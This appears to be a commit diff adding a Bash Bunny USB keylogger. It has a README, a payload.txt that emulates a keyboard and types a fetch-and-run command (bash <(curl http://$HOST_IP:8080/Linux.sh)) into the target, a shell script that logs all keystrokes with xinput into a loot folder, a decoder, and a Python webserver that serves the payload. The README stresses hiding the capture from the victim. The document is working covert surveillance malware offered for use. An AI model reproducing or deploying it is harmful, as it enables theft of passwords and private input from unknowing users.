commit
2559d728b1
|
@ -0,0 +1,20 @@
|
||||||
|
#/bin/bash
|
||||||
|
checkonbunny() {
|
||||||
|
mybunny=$(lsblk -p -S -o NAME,SERIAL | grep $BunnyID | awk '{print $1}')
|
||||||
|
mybunny=$(findmnt $mybunny | grep $mybunny | awk '{print $1}')
|
||||||
|
if [ -d $mybunny ]; then
|
||||||
|
bashbunnyloot=$mybunny"/loot"
|
||||||
|
mapfile=$bashbunnyloot"/maps"
|
||||||
|
keyfile=$bashbunnyloot"/keys"
|
||||||
|
startwork
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
startwork(){
|
||||||
|
getdevicetouse=${getdevicetouse#"id="}
|
||||||
|
xinput --test $getdevicetouse > $keyfile &
|
||||||
|
xmodmap -pke > $mapfile
|
||||||
|
}
|
||||||
|
BunnyID="ch000001"
|
||||||
|
bashbunnyloot=''
|
||||||
|
getdevicetouse=$(xinput |grep keyboard | sed 's/slave keyboard//g' | while IFS= read -r line ;do [[ $line != *"Virtual"* ]] && [[ $line == *"keyboard"* ]] && echo $line | awk '{ for (i=1; i<=NF; ++i) { if ($i ~ "id=") print $i} }'; done)
|
||||||
|
[[ -z $getdevicetouse ]] || checkonbunny
|
|
@ -0,0 +1,28 @@
|
||||||
|
# Keylogger For Bash Bunny
|
||||||
|
|
||||||
|
Author: TheDragonkeeper
|
||||||
|
|
||||||
|
Version: Version 1
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Dirty keylogger. Runs a webserver to pull code from for multiOS targeting
|
||||||
|
|
||||||
|
Captures all keyboard input without the need for root access
|
||||||
|
Uses the user keyboard map file for decoding the captured data
|
||||||
|
|
||||||
|
## STATUS
|
||||||
|
|
||||||
|
| LED | Status |
|
||||||
|
| ---------------- | ----------------------------------------------------------------------------- |
|
||||||
|
| Blue flash | Booting |
|
||||||
|
| Red slow | Waiting on webserver |
|
||||||
|
| Blue Fast | Identifying Target and deploying accordingly |
|
||||||
|
| LED OFF | Capturing data, no led for victim to spot, waiting for switch position change |
|
||||||
|
| LED Red Fast | Decoding keys, Then doing any cleanup required |
|
||||||
|
| Green flashing | Task complete, ready to unplug |
|
||||||
|
|
||||||
|
Still WIP, Currently supports linux (tested on ubuntu)
|
||||||
|
If you want to add payloads for OSX or Windows place them into the switch folder then,
|
||||||
|
Change TARGET_OS= to 'auto' and add the payloads to lines 15,16 as well as the clean up to lines 40,41 in payload.txt
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
TARGET_OS='LINUX'
|
||||||
|
|
||||||
|
LED B 100
|
||||||
|
ATTACKMODE HID STORAGE ECM_ETHERNET
|
||||||
|
sleep 3
|
||||||
|
LED R SLOW
|
||||||
|
GET HOST_IP
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
udisk mount
|
||||||
|
cd /root/udisk/payloads/$SWITCH_POSITION/
|
||||||
|
python webserver.py &
|
||||||
|
while true; do [[ $(curl $HOST_IP:8080/index.html) ]] && break ; done
|
||||||
|
LED B FAST
|
||||||
|
[[ $TARGET_OS == 'auto' ]] && GET TARGET_OS
|
||||||
|
[[ $TARGET_OS == 'WINDOWS' ]] && RUN WIN add windows payload
|
||||||
|
[[ $TARGET_OS == 'MACOS' ]] && RUN OSX add osx payload
|
||||||
|
[[ $TARGET_OS == 'LINUX' ]] && RUN LINUX bash \-c \'bash \<\(curl http\:\/\/$HOST_IP\:8080\/Linux\.sh\)\' \&
|
||||||
|
LED
|
||||||
|
WAIT
|
||||||
|
LED R 0
|
||||||
|
cd /root/udisk/loot
|
||||||
|
keystate=''
|
||||||
|
_ctrl='0'
|
||||||
|
_alt='0'
|
||||||
|
_shift='0'
|
||||||
|
for line in $(cat 'keys')
|
||||||
|
do
|
||||||
|
if [ $line != 'key' ]; then
|
||||||
|
if [ $line == 'press' ] || [ $line == 'release' ]; then
|
||||||
|
keystate=$line
|
||||||
|
else
|
||||||
|
_spaces=$(printf '%*s' $((4-${#line})) | tr ' ' ' ')
|
||||||
|
searchparams='keycode'"$_spaces"$line
|
||||||
|
key=$(cat 'maps' | grep "$searchparams" | awk '{print $4}')
|
||||||
|
echo "Ctrl="$_ctrl" Alt="$_alt" Shift="$_shift" "$keystate" "$key >> 'decoded'
|
||||||
|
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
[[ $TARGET_OS == 'WINDOWS' ]] && RUN WIN add windows payload
|
||||||
|
[[ $TARGET_OS == 'MACOS' ]] && RUN OSX add osx payload
|
||||||
|
[[ $TARGET_OS == 'LINUX' ]] && RUN LINUX killall xinput
|
||||||
|
LED G 0
|
|
@ -0,0 +1,28 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
|
||||||
|
from os import curdir, sep
|
||||||
|
PORT_NUMBER = 8080
|
||||||
|
class myHandler(BaseHTTPRequestHandler):
|
||||||
|
def do_GET(self):
|
||||||
|
if self.path=="/":
|
||||||
|
self.path="/"
|
||||||
|
try:
|
||||||
|
sendReply = False
|
||||||
|
if self.path.endswith(".sh"):
|
||||||
|
mimetype='text/plain'
|
||||||
|
sendReply = True
|
||||||
|
if sendReply == True:
|
||||||
|
f = open(curdir + sep + self.path)
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type',mimetype)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(f.read())
|
||||||
|
f.close()
|
||||||
|
return
|
||||||
|
except IOError:
|
||||||
|
self.send_error(404,'File Not Found: %s' % self.path)
|
||||||
|
try:
|
||||||
|
server = HTTPServer(('0.0.0.0', PORT_NUMBER), myHandler)
|
||||||
|
server.serve_forever()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
server.socket.close()
|
Loading…
Reference in New Issue